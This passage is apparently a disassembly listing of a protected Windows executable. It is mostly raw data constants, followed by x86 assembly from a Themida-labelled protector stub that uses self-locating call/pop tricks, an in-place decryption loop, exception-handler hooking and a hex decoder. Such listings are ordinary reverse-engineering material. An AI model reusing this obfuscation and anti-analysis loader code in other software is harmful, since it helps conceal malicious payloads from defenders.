dup(0) dd 3EB80000h, 0A6DAACDBh, 0DCF83Bh, 4 dup(0) dd 77DDh, 4 dup(0) dd 29230000h, 7C64h, 0 dd 1B2B0000h, 77F5h, 215C0000h, 77E8h, 0 dd 0FB840000h, 0EF74h, 2 dup(0) dd 18F90000h, 596E005Bh, 57h, 4 dup(0) dd 47330000h, 57h, 0 dd 8C0A0000h, 9Fh, 0FEF00000h, 12h, 0A1A90000h, 0FFFFh dd 0 dd 0CAD30000h, 1E01h, 0 dd 3040000h, 7FFEh, 0 dd 894Ch, 8 dup(0) dd 0A00F0000h, 9Fh, 0C20C0000h, 56h, 32680000h, 0DA8900A0h dd 2892D0Ch, 5Bh, 4 dup(0) dd 15680000h, 0A0h, 0 dd 10000h, 4 dup(0) dd 6BCE0000h, 248h, 30DF0000h, 0FFFFA9C5h, 7FFFh, 3 dup(0) dd 77D4h, 6 dup(0) dd 34300000h, 400312Dh, 6 dup(0) dd 0FABE0000h, 9F3Eh, 66E80000h, 4570058h, 5Ah, 5 dup(0) dd 1CD30000h, 5Ah, 0 dd 2CEA0000h, 59h, 0 dd 0B9000000h, 0E75h, 2 dup(0) dd 0F9C50000h, 10000h, 0 dd 25B60000h, 58h, 3 dup(0) dd 0F5660000h, 0FF61h, 2 dup(0) dd 28030000h, 0A13Bh, 0 dd 3F820000h, 0A186h, 4 dup(0) dd 77F5h, 0 dd 66E80000h, 5CD0h, 0Ch dup(0) dd 94900000h, 6F56h, 2 dup(0) dd 8FD90000h, 91A24EECh, 9B76h, 3 dup(0) dd 0FBA90000h, 0EAF9FFFFh, 7D23h, 3 dup(0) dd 0CD5B0000h, 527Eh, 0EDB80000h, 53h, 4 dup(0) dd 80A30000h, 0CDA6h, 0 dd 6C0000h, 2 dup(0) dd 21860000h, 5Ah, 0 dd 183A0000h, 105005Bh, 0A28h, 0 dd 0B8E30000h, 56h, 3 dup(0) dd 68CA0000h, 0B976h, 7 dup(0) dd 35B0000h, 0D9220000h, 0A081h, 69DD0000h, 9Fh, 0 dd 0E78D0000h, 2 dup(0) dd 0E4FD0000h, 162Fh, 6 dup(0) dd 0B2C50000h, 5B809555h, 0A220057h, 9C8837F2h, 0E167CABFh dd 0E9D8h, 5 dup(0) dd 7B300240h, 0FFFFh, 0A00F0000h, 57h, 12h dup(0) dd 94540000h, 53FA03A7h, 0B000005Ah, 6B8D001Bh, 5FDFh dd 3 dup(0) dd 10000h, 3 dup(0) dd 0A1FE0000h, 0DB5E00AFh, 9C8872A3h, 0CABFh, 2 dup(0) dd 0B80000h, 2 dup(0) dd 0B1340000h, 30DF00A1h, 8EA50000h, 97Dh, 3 dup(0) dd 0C6000000h, 3, 2 dup(0) dd 71F40000h, 59h, 0 dd 88E10000h, 0AE57FFA8h, 46C8Ah, 53B60000h, 254Ah, 11h dup(0) dd 3040000h, 0FF607FFEh, 12h, 2 dup(0) dd 0FE360000h, 859h, 0 dd 8A970000h, 59h, 0A00F0000h, 9Fh, 893E0000h, 0CDBE0000h dd 0D5FFh, 3 dup(0) dd 4BAC0000h, 8D5378B5h, 0A3h, 4 dup(0) dd 0E4FD0000h, 162Fh, 0 dd 345B0000h, 5Ah, 0 dd 21680000h, 77E8h, 0 dd 94990000h, 1560009Fh, 0A0h, 4 dup(0) dd 12540000h, 77F5h, 0A24D0000h, 85A4971Fh, 0ED7A0058h dd 492Ch, 5 dup(0) dd 86040000h, 7FFEh, 0BC6E0000h, 36360053h, 4BA03636h dd 0A8D00B50h, 18F9005Ah, 5Bh, 0E90000h, 4, 3 dup(0) dd 0FFB00000h, 1CFh, 8C0A0000h, 3215009Fh, 86B50058h, 5AB7h dd 2 dup(0) dd 0A0370000h, 9Fh, 3 dup(0) dd 0EBB30000h, 77F7h, 2 dup(0) dd 46E80000h, 7 dup(0) dd 0A00F0000h, 9Fh, 3040000h, 0BBCE7FFEh, 53h, 2 dup(0) dd 9BAC0000h, 0A1h, 0 dd 7EAB0000h, 57h, 7 dup(0) dd 3FA10000h, 58h, 0Ah dup(0) dd 33480000h, 3041FA8h, 7FFEh, 4 dup(0) dd 3040000h, 9FB57FFEh, 3184h, 0 dd 0BC6E0000h, 53h, 0 dd 0F9C50000h, 0 dd 0FC740000h, 17DFh, 6 dup(0) dd 40180000h, 0 dd 0FEF40000h, 12h, 0Bh dup(0) dd 62850000h, 0FFA8h, 76CD0000h, 77E7h, 8D8D0000h, 3B7A6D51h dd 9C8818h, 2 dup(3040000h), 7FFEh, 5 dup(0) dd 77E6h, 3040000h, 7FFEh, 2 dup(0) dd 3A10000h, 189A0000h, 77DDh, 0 dd 35790000h, 0C0F8005Ah, 0B0h, 0F9B00000h, 93935FA9h dd 9Fh, 0 dd 215C0000h, 2, 4 dup(0) dd 99950000h, 0A3h, 0 dd 91CF0000h, 3638h, 0 dd 67B30000h, 3851DCh, 0 dd 6CB00000h, 9Fh, 3 dup(0) dd 2AB80000h, 0A9A005Ah, 9Eh, 3 dup(0) dd 9E120000h, 0FE47h, 2 dup(0) dd 81C00000h, 7FFEh, 7 dup(0) dd 79630000h, 77E7h, 5 dup(0) dd 20A70000h, 0D42Dh, 0 dd 980000h, 519D0000h, 0B368h, 5 dup(0) dd 92530000h, 12DAh, 2 dup(0) dd 0D2340000h, 5ECC0054h, 77DDh, 0Ah dup(0) dd 3A860000h, 8 dup(0) dd 0D7A70000h, 46C821F4h, 51D6h, 0 dd 0C96A0000h, 0B9B777D4h, 552h, 6 dup(0) dd 0F1730000h, 0 dd 8B820000h, 77E7h, 5 dup(0) dd 6E580000h, 3 dup(0) dd 144C0000h, 0C4A0FFFEh, 5Ah, 0 dd 3B80000h, 0A58B0000h, 98F10058h, 0FFA5h, 3040000h, 7FFEh dd 180B0000h, 77F5h, 5CB50000h, 77E7h, 7BBC0000h, 9BFDh dd 0A2FF0000h, 57h, 0 dd 5DC30000h, 6180056h, 77E8h, 4 dup(0) dd 0F11A0000h, 58h, 7 dup(0) dd 595C0000h, 57h, 0Ah dup(0) dd 20000h, 8 dup(0) dd 0C4860000h, 77E7h, 20000h, 2 dup(0) dd 0C5AD0000h, 73E921CDh, 57h, 0 dd 0FFC40000h, 12h, 2Dh dup(0) dd 0D00000h, 500000h, 0F531FE40h, 3040053h, 58h, 662C0000h dd 2 dup(0) dd 8B820000h, 30477E7h, 7FFEh, 0Ah dup(0) dd 5CB50000h, 5CB577E7h, 77E7h, 0 dd 2D230000h, 59h, 595C0000h, 57h, 2 dup(0) dd 20000h, 0Ah dup(0) dd 1248025Bh, 0FFACh, 9 dup(0) dd 22220000h, 22222222h, 2222h, 0 dd 0F4460000h, 56h, 7 dup(0) dd 39200000h, 0A0h, 7 dup(0) dd 93EF0000h, 77E7h, 0 dd 5740000h, 0FA89E49Dh, 100017BCh, 40h, 0 dd 0A40000h, 0Ch dup(0) dd 3B7A0000h, 8818h, 169A0000h, 9 dup(0) dd 0C96A0000h, 6B8477D4h, 8 dup(0) dd 3040000h, 0 dd 0CA0A0000h, 53h, 3 dup(0) dd 27650000h, 1005Ah, 0 dd 780000h, 22AC0000h, 10h dup(0) dd 0A00000h, 7 dup(0) dd 3040000h, 7FFEh, 0Bh dup(0) dd 0EDB80000h, 53h, 7A1D0000h, 5Ah, 0Fh dup(0) dd 1E990000h, 1627h, 4 dup(0) dd 0F1D30000h, 0F1F40056h, 0D62Bh, 0 dd 69DD0000h, 9Fh, 71h dup(0) dd 6E000000h, 5Ah, 10h dup(0) dd 0B3BD0000h, 5A0AAE00h, 57h, 0 dd 662C0000h, 0 dd 0D5540000h, 9Eh, 595C0000h, 2BD80057h, 3B0Ah, 0 dd 10000h, 2 dup(0) dd 267C0000h, 0E0F6h, 2 dup(0) dd 95220000h, 0BA4Ch, 0 dd 0FF170000h, 0FFFBh, 662C0000h, 0Bh dup(0) dd 98E30000h, 5AFFh, 5A0A0000h, 57h, 6BCE0000h, 248h, 4 dup(0) dd 409B0000h, 3A019DBh, 0 dd 0A00F0000h, 97740057h, 5Ah, 2 dup(0) dd 0FFFF0000h, 0FFFFh, 0F3BE0000h, 58h, 2 dup(0) dd 84C0000h, 0E0000000h, 4Dh, 0FCFC0000h, 8001h, 2FE80000h dd 77E8h, 0Dh dup(0) dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 84h dup(0) dd 10000h, 2 dup(0) dd 69DD0000h, 0 dd 24240000h, 2424h, 4 dup(0) dd 20000h, 58h, 0 dd 940000h, 2 dup(0) dd 3040000h, 7FFEh, 6 dup(0) dd 4000000h, 10000h, 9 dup(0) dd 11110000h, 0C2C31111h, 6CB0B2D1h, 6D30009Fh, 56h, 3 dup(0) dd 9F70000h, 9Fh, 3 dup(0) dd 822C0000h, 1EEB005Ah, 56h, 7 dup(0) dd 31EB0000h, 981Bh, 0Ah dup(0) dd 0A33C0000h, 0F4EFh, 6 dup(0) dd 3040000h, 7FFEh, 5 dup(0) dd 0FA560000h, 9Fh, 63C40000h, 20000h, 4 dup(0) dd 40000h, 3 dup(0) dd 0D0000000h, 0BD7A000Dh, 77E9h, 0 dd 0BEA90000h, 57h, 3 dup(0) dd 0D4E90000h, 16Fh, 2 dup(0) dd 0F4660000h, 33330057h, 2 dup(33333333h), 3333h, 0 dd 8C0000h, 0A600000h, 6F8FFFEh, 3641028Ah, 0FFA5h, 662C0000h dd 3E280000h, 0ACD3h, 5 dup(0) dd 0FCFC0000h, 31458001h, 6826009Fh, 2384h, 14h dup(0) dd 98980000h, 375Ch, 0 dd 3040000h, 7FFEh, 0 dd 0B3B70000h, 3040057h, 7FFEh, 0 dd 0A6B20000h, 0BF29h, 9 dup(0) dd 6F340000h, 66E81777h, 740000h, 0Dh dup(0) dd 20000h, 0 dd 140000h, 0Eh, 3 dup(0) dd 0B6B80000h, 0FFA8h, 2 dup(0) dd 3040000h, 7FFEh, 0 dd 0ADh, 3 dup(0) dd 0F1ED0000h, 56h, 5 dup(0) dd 69DD0000h, 9Fh, 8 dup(0) dd 0E230000h, 202h, 7D10000h, 2 dup(0) dd 40000h, 7 dup(0) dd 4C430000h, 51FFh, 30A3025Ah, 57h, 0Eh dup(0) dd 9Eh, 0AC5E0000h, 77E7h, 3 dup(0) dd 59A00000h, 57h, 4 dup(0) dd 0EA360000h, 2D67FF54h, 70C4005Ah, 9Fh, 5D380000h, 1A46h dd 2 dup(0) dd 9FEB0000h, 66E89E12h, 0 dd 0C4A60000h, 53h, 4 dup(0) dd 50BB0000h, 58h, 3E280000h, 0ACD3h, 68540000h, 64696D65h dd 61h, 2Dh dup(0) dd 40060000h, 0A099ED7Eh, 6D3077E7h, 56h, 9 dup(0) dd 0B6h, 4 dup(0) dd 0C0E80000h, 0 dd 0FCA70000h, 6EAF6525h, 5Fh, 6 dup(0) dd 471D0000h, 0FFA9h, 0 dd 0A00F0000h, 0D706009Fh, 77E6h, 6 dup(0) dd 93480000h, 8BF3FDB7h, 73C6h, 8 dup(0) dd 22920000h, 9Fh, 2 dup(0) dd 616D77F5h, 0AA370058h, 5A3h, 0CA0A0000h, 53h, 9 dup(0) dd 0C4860000h, 30DF77E7h, 0D7AEA9C5h, 53h, 0 dd 662C0000h, 4 dup(0) dd 22D80000h, 0A0h, 5FF10000h, 0FF60h, 8EA50000h, 97Dh dd 2 dup(0) dd 0FA010000h, 0FFF017BCh, 66E80012h, 0 dd 8B870000h, 5Ah, 0 dd 595C0000h, 57h, 61540000h, 0D5B0h, 3 dup(0) dd 0CC0000h, 0 dd 915B0000h, 44AF009Fh, 57h, 880000h, 0A80000h, 0Bh dup(0) dd 3EB80000h, 304ACDBh, 17FFEh, 662C0000h, 0 dd 3040000h, 7FFEh, 0 dd offset dword_4FF844+7BCh dd 8001h, 3040000h, 847FFEh, 10960000h, 4468h, 3 dup(0) dd 6C910000h, 817Dh, 6 dup(0) dd 2E0F0000h, 690077F5h, 0FFA8h, 0B1B50000h, 57h, 0BFC0000h dd 0EF080000h, 5Ah, 0 dd 58E00000h, 58h, 7 dup(0) dd 471D0000h, 0A99BFFA9h, 5F96h, 6 dup(0) dd 3040000h, 7FFEh, 59F00000h, 0A37C77DDh, 5E2EFFFFh, 69DD009Fh dd 9Fh, 9 dup(0) dd 0A5FD0000h, 77E7h, 0 dd 3040000h, 7FFEh, 5 dup(0) dd 0C0F50000h, 0A5EDh, 2 dup(0) dd 0F7750000h, 0F7E2B0B3h, 0Fh dup(0) dd 0FE60000h, 595C009Eh, 57h, 0 dd 6A3D0000h, 57h, 0 dd 0B1CA0000h, 0ADh, 1Fh dup(0) dd 69DD0000h, 9Fh, 0 dd 7E60000h, 3 dup(0) dd 409B0000h, 19DBh, 0 dd 900000h, 5 dup(0) dd 0FEF00000h, 12h, 67F00000h, 595C0012h, 91E40057h, 1213h dd 0Ah dup(0) dd 29C60000h, 5Ah, 4 dup(0) dd 0A1440000h, 77E7h, 2 dup(0) dd 2BDE0000h, 9Fh, 96180000h, 9218FFACh, 3EB8FFFFh, 1B40ACDBh dd 0F51976B4h, 90B3h, 33660000h, 0ED5C0058h, 58h, 2 dup(0) dd 662C0000h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53E726: ; CODE XREF: start:loc_53B3A5j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 607338Bh mov [ebp+607200Dh], edx mov [ebp+6071F31h], esi mov [ebp+6072FF9h], eax cmp dword ptr [ebp+60710D9h], 0 jz short loc_53E75E mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53E75E: ; CODE XREF: start+5E73Cj mov eax, [esp+40h+var_1C] mov [ebp+60730D9h], eax push 45h call sub_53E812 push 783749Ah call sub_53E858 push 0A894B25h call sub_53E858 jmp loc_53E99C ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53E812 proc near ; CODE XREF: start+5E756p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6073479h mov ebx, edx mov [ebp+var_28], 0 loc_53E82E: ; CODE XREF: sub_53E812+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53E84D mov eax, [ebp+arg_0] mov [ebx+60733E3h], eax inc [ebp+arg_0] inc ebx jmp short loc_53E82E ; --------------------------------------------------------------------------- loc_53E84D: ; CODE XREF: sub_53E812+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53E812 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53E858 proc near ; CODE XREF: start+5E760p start+5E76Ap var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 60734C2h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53E87E: ; CODE XREF: sub_53E858+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53E87E mov [ebp+var_84], 0 lea edi, [edx+60733E3h] lea esi, [ebp+var_80] loc_53E8AE: ; CODE XREF: sub_53E858+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53E8BA: ; CODE XREF: sub_53E858+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53E8BA imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53E8AE popa leave retn 4 sub_53E858 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53E8F8 ; --------------------------------------------------------------------------- loc_53E8F4: ; CODE XREF: Themida_:0053E8FBj inc dword ptr [ebp-4] inc esi loc_53E8F8: ; CODE XREF: Themida_:0053E8F2j cmp byte ptr [esi], 0 jnz short loc_53E8F4 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53E989 ; --------------------------------------------------------------------------- loc_53E90A: ; CODE XREF: Themida_:0053E98Cj mov dword ptr [ebp-8], 0 jmp short loc_53E980 ; --------------------------------------------------------------------------- loc_53E913: ; CODE XREF: Themida_:0053E984j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53E96D ; --------------------------------------------------------------------------- loc_53E923: ; CODE XREF: Themida_:0053E971j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53E945 cmp bl, 39h ja short loc_53E945 sub bl, 30h jmp short loc_53E967 ; --------------------------------------------------------------------------- loc_53E945: ; CODE XREF: Themida_:0053E939j ; Themida_:0053E93Ej cmp bl, 61h jb short loc_53E957 cmp bl, 66h ja short loc_53E957 sub bl, 61h add bl, 0Ah jmp short loc_53E967 ; --------------------------------------------------------------------------- loc_53E957: ; CODE XREF: Themida_:0053E948j ; Themida_:0053E94Dj cmp bl, 41h jb short loc_53E967 cmp bl, 46h ja short loc_53E967 sub bl, 41h add bl, 0Ah loc_53E967: ; CODE XREF: Themida_:0053E943j ; Themida_:0053E955j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53E96D: ; CODE XREF: Themida_:0053E921j cmp dword ptr [ebp-0Ch], 2 jb short loc_53E923 cmp dword ptr [ebp-10h], 0 jbe short loc_53E97D mov eax, [ebp-10h] stosb loc_53E97D: ; CODE XREF: Themida_:0053E977j inc dword ptr [ebp-8] loc_53E980: ; CODE XREF: Themida_:0053E911j cmp dword ptr [ebp-8], 2 jb short loc_53E913 add edx, 4 loc_53E989: ; CODE XREF: Themida_:0053E908j cmp edx, [ebp-4] jb loc_53E90A mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53E99C: ; CODE XREF: start+5E76Fj mov ecx, 7000h lea edi, [ebp+6073608h] loc_53E9A7: ; CODE XREF: start+5E997j dec byte ptr [edi] inc edi dec ecx jnz short loc_53E9A7 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+607370Ch] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax jmp loc_53E9E3 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 65h, 20h, 0ADh db 65h, 84h, 3Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53E9E3: ; CODE XREF: start+5E9C4j mov bx, ax sub eax, edx call sub_53E9FE ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0D9h, 4Ah, 0B5h dd 0A2C24DBAh, 0ADFC485Eh, 2E737809h db 99h, 0F3h ; =============== S U B R O U T I N E ======================================= sub_53E9FE proc near ; CODE XREF: start+5E9D4p pop ebx and eax, 0FFFFF000h push 0 push eax call sub_53EA0F and [eax-3Dh], bl sub_53E9FE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_53EA0F proc near ; CODE XREF: sub_53E9FE+9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_53EA0F endp ; --------------------------------------------------------------------------- db 0F4h dd 0DF8BE026h, 0FF33CA8Bh, 4D388166h, 0F0E755Ah, 33C50B7h dd 503A81D0h, 74000045h, 10002D08h, 0EB470000h, 58F64E3h dd 0 dd 8D04C483h, 7371F95h, 0FF645206h, 35h, 25896400h, 0 dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h dd 3768000h, 331C708Bh, 32F883C0h, 81661F74h, 745A4D3Eh dd 0EE8109h, 40000100h, 7E8BEBEBh, 81FE033Ch, 45503Fh dd 0EB447400h, 58F64E8h, 0 dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 244C8B51h, 0E85510h, 5D000000h, 372AED81h, 858D0607h dd 60736E8h, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h dd 8B6604C4h, 0B3C780DFh, 0BBD98C66h, 42F8A670h, 6A04E180h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 819DC351h, 5F0E90C3h, 0FC90A53h, 5A85h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 5E060EDBh, 0D88B66C4h, 0C761F560h, 7199585h, 106h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 6725A117h, 0E9DE8B29h, 10h, 0C7DBB70Fh, 7199585h, 6 dd 0DFB70F00h, 1A98589h, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0FE92BC3h, 24000000h dd 0E89898Ah, 0EA4DD244h, 0E84E2CE3h, 8589460Bh, 60712EDh dd 13E8h, 8BC6BF00h, 444AAE85h, 2AEA3A5Eh, 0A26063B4h dd 76F0DF04h, 5BD38B66h, 0A7ADF81h, 0C381646Fh, 71B0h dd 0A7F5BA66h, 1C31B9h, 0FFBA6600h, 6633FFD3h, 6658D78Bh dd 4360EE81h, 7DFCF081h, 81F83587h, 0B0B01DE8h, 71BA6668h dd 51E881BBh, 66656B21h, 4C6CEE81h, 38FF550h, 97E5BA66h dd 9324EB81h, 0B70F64B9h, 20C381F3h, 0E864B993h, 0Ah, 1688801Dh dd 87E0C55Ah, 890F688Eh, 11h, 0CE9h, 7B784100h, 7F6036EDh dd 4DE87093h, 0F495F78h, 3085h, 0CE800h, 1D820000h, 0FD166587h dd 0C863DCAAh, 7E95F9Ah, 44000000h, 97E74C96h, 0E95E3C89h dd 31h, 762E260Ah, 7306ED4Bh, 9DEC2EFCh, 0C8A0F12h, 0F000000h dd 68Fh, 81D68100h, 0E9105780h, 0FFFFFF4Dh, 2B68875Ah dd 96BF0EF2h, 0CA02D8A5h, 14E8DEh, 60120000h, 77BF357Bh dd 0A5D3EA1Dh, 4AD622B3h, 1E0C789Ch, 0D38A661Bh, 8F0F6058h dd 2, 14E9D68Bh, 9B000000h, 4D3B4037h, 32C8EB39h, 28EF0207h dd 0F1BB55E8h, 61B933E0h, 7471C081h, 0DE90000h, 0A2000000h dd 0AE27D34Ch, 0B2E11394h, 0DC840794h, 3CBADB33h, 0FF64E4A0h dd 0BE660334h, 8159ECD3h, 0D0EF46F2h, 0C3C18151h, 8137F4C1h dd 82882AC1h, 0D3F18116h, 517473A4h, 9E9h, 96F40600h, 82B07Ch dd 48F6974h, 4820F18h, 66000000h, 664C58BAh, 83F44CBFh dd 0D38B04EBh, 8C38FB81h, 850FFFFFh, 0FFFFFFAFh, 0E9F78B66h dd 6A0h, 13E9h, 9F258900h, 14E2AB72h, 703FB6E5h, 0D8C542E4h dd 611DCCA2h, 0BE860h, 0A7D20000h, 26AE6964h, 2805CC4Ah dd 0A1BD89DEh, 5806071Eh, 21761h, 0B5090000h, 6073011h dd 0C8C0F60h, 0F000000h, 68Dh, 0C59D8900h, 0B8060708h dd 0 dd 0AE9h, 4668FC00h, 8C7017AFh, 8BBF1CA0h, 0E9282454h dd 14h, 361B0E56h, 90244816h, 0AA7A31AFh, 5269C073h, 99264FF2h dd 18AD8589h, 850F0607h, 0Dh, 8E9h, 0A12A7900h, 6F5AE042h dd 3CBE43h, 66600000h, 800ECFB8h, 36163C8h, 60242474h dd 8BF1BF0Fh, 7103D95h, 0AD666106h, 23CDB529h, 44030607h dd 80602424h, 800F96EBh, 2, 506135B3h, 0BE9h, 4432DF00h dd 52C62406h, 95F5CF99h, 0F240489h, 0C8Bh, 6840F00h, 89000000h dd 707A9B5h, 78408B06h, 12E9h, 0F3C28400h, 4027654Eh, 916C14CBh dd 78F00116h, 3864A00h, 60282444h, 0CCC78166h, 1DBD8B0Fh dd 61060700h, 0E918408Bh, 7, 9469FAA1h, 40356A34h, 0E810Fh dd 8B600000h, 70FAD9Dh, 13E78106h, 612DD18Ch, 3A088589h dd 9D890607h, 6072FD5h, 0CD8D0958h, 8B060701h, 83F57870h dd 0B5891CC6h, 6071D55h, 24247403h, 15B5B589h, 0BD8D0607h dd 6071681h, 8D0FADF8h, 0Ch, 6860Fh, 8D0F0000h, 0 dd 24244403h, 3858D89h, 89AB0607h, 70BA99Dh, 51BD8D06h dd 8906070Bh, 723D98Dh, 8D896006h, 6073159h, 2FF28166h dd 31AD616Dh, 7336195h, 24440306h, 10E924h, 0EE850000h dd 1F2FB561h, 9B82ED4Fh, 0BEDC77F8h, 0F5058E5h, 2589h dd 0E9525000h, 14h, 0FBCC8041h, 1AA4F1B7h, 0C49BAE44h dd 0F2E313Bh, 30005E6Ah, 5250310Fh, 585A310Fh, 489585Ah dd 13E924h, 8D5A0000h, 28F91E7Ah, 0D553E142h, 16744705h dd 21F815AEh, 8B60ABB6h, 70C6585h, 81BD2306h, 61060703h dd 1661BD8Dh, 0ADF90607h, 244403F8h, 0FABFC28h, 680h, 0A9BD8900h dd 0F060722h, 0C83h, 6820F00h, 89000000h, 717558Dh, 66605E06h dd 0CAE8F681h, 0DE9h, 0B19B4100h, 4A4C8BFFh, 8E3F942Ah dd 0FF6170D0h, 73A088Dh, 8BD8306h, 6073Ah, 44C71075h, 1C24h dd 0B58D0000h, 6073E46h, 0AD56E6FFh, 28244403h, 8ADF8B97h dd 71C4D85h, 74C08406h, 75073A04h, 0C032574Ch, 5EFD75AEh dd 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah dd 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h, 49F38166h dd 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh dd 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 0AD85FF04h, 0E9060718h dd 0FFFFFF6Fh, 8BF9F95Eh, 718AD85h, 0C8B0F06h, 0F000000h dd 689h, 498D8900h, 0D106071Ch, 858B60E0h, 6070FE1h, 17D9BD89h dd 3610607h, 7166185h, 0BEF806h, 0F8000000h, 0B58B6096h dd 6070611h, 0AD6661F5h, 21BD0160h, 0B106071Dh, 14E961A2h dd 0E2000000h, 0DC5B9550h, 358FE8A2h, 9F02D71Bh, 45FD5349h dd 0C18962C7h, 14E902E0h, 42000000h, 71DC20EEh, 641CF711h dd 8D4F48Ch, 1BC4FB6Bh, 39D74A4h, 7168185h, 19B52906h dd 96060730h, 0D781F560h, 695B4182h, 8BFCAD61h, 8924244Ch dd 7040195h, 24440306h, 8D896024h, 6071D11h, 24448961h dd 5595891Ch, 96060712h, 0AE5B529h, 1AC0607h, 716FDB5h dd 0C932FC06h, 8860Fh, 8C0F0000h, 2, 0C1FE6160h, 59DBD89h dd 0D0D00607h, 85830Fh, 0B5010000h, 6071D45h, 32AD9D31h dd 0D0D00607h, 71830Fh, 850F0000h, 6, 1639B509h, 0D0D00607h dd 5D820Fh, 95290000h, 6070031h, 820FD0D0h, 4Fh, 12158D29h dd 0C9FE0607h, 0FFB4890Fh, 8D01FFFFh, 6072379h, 3120C483h dd 7260D85h, 2444C706h, 0FCh, 6E900h, 15540000h, 13D06726h dd 1B8h, 19850100h, 8D060718h, 7715D8Dh, 0E1FFFC06h, 6E9h dd 50D5E00h, 0C625F34Fh, 71C4D85h, 95890006h, 6071F01h dd 8C2F561h, 69858900h, 96060729h, 0CE860h, 0CFA50000h dd 0B8AFA1C1h, 4237DD80h, 59571626h, 61F18B5Fh, 0B7536050h dd 0D48A5E09h, 8B609661h, 730658Dh, 0B19D8B06h, 61060708h dd 0DE9h, 2D70FE00h, 0D9858CC3h, 977F4471h, 0B5892F91h dd 6074015h, 8DBD8B60h, 6006070Fh, 89CF8B66h, 72D859Dh dd 89616106h, 740378Dh, 0E840F06h, 60000000h, 7B19D8Bh dd 8B0F0607h, 0 dd 0FDBD3161h, 8D060708h, 73F13B5h, 0B1BD0106h, 8D060705h dd 5B7E3585h, 39B58900h, 0E906070Ch, 5, 0CD705EDAh, 1D0FFC1h dd 71B3D95h, 2DBD8906h, 5E060712h, 32ADBD89h, 0FCC30607h dd 4015B58Bh, 85890607h, 6073369h, 40378D8Bh, 85090607h dd 6071779h, 5E9C02Bh, 0C1000000h, 6226165Ch, 800FD98Bh dd 1, 0AFE9F8h, 95090000h, 60707E9h, 95892632h, 60720DDh dd 858902B2h, 6072AE1h, 5EE9h, 198D8900h, 32060722h, 819589C2h dd 506070Fh, 8A751D7Ah, 718D8960h, 31060718h, 721A5B5h dd 8AF96106h, 0E8E0FCCh, 60000000h, 32C1858Bh, 0BD290607h dd 6071CF5h, 0E9C8D361h, 6, 0D2D293C1h, 42350DFBh, 2998D108h dd 7006D85h, 89CAFE06h, 722F995h, 0A19D2906h, 0A06072Ah dd 0A0850FD2h, 0FFFFFFFh, 889h, 28A0F00h, 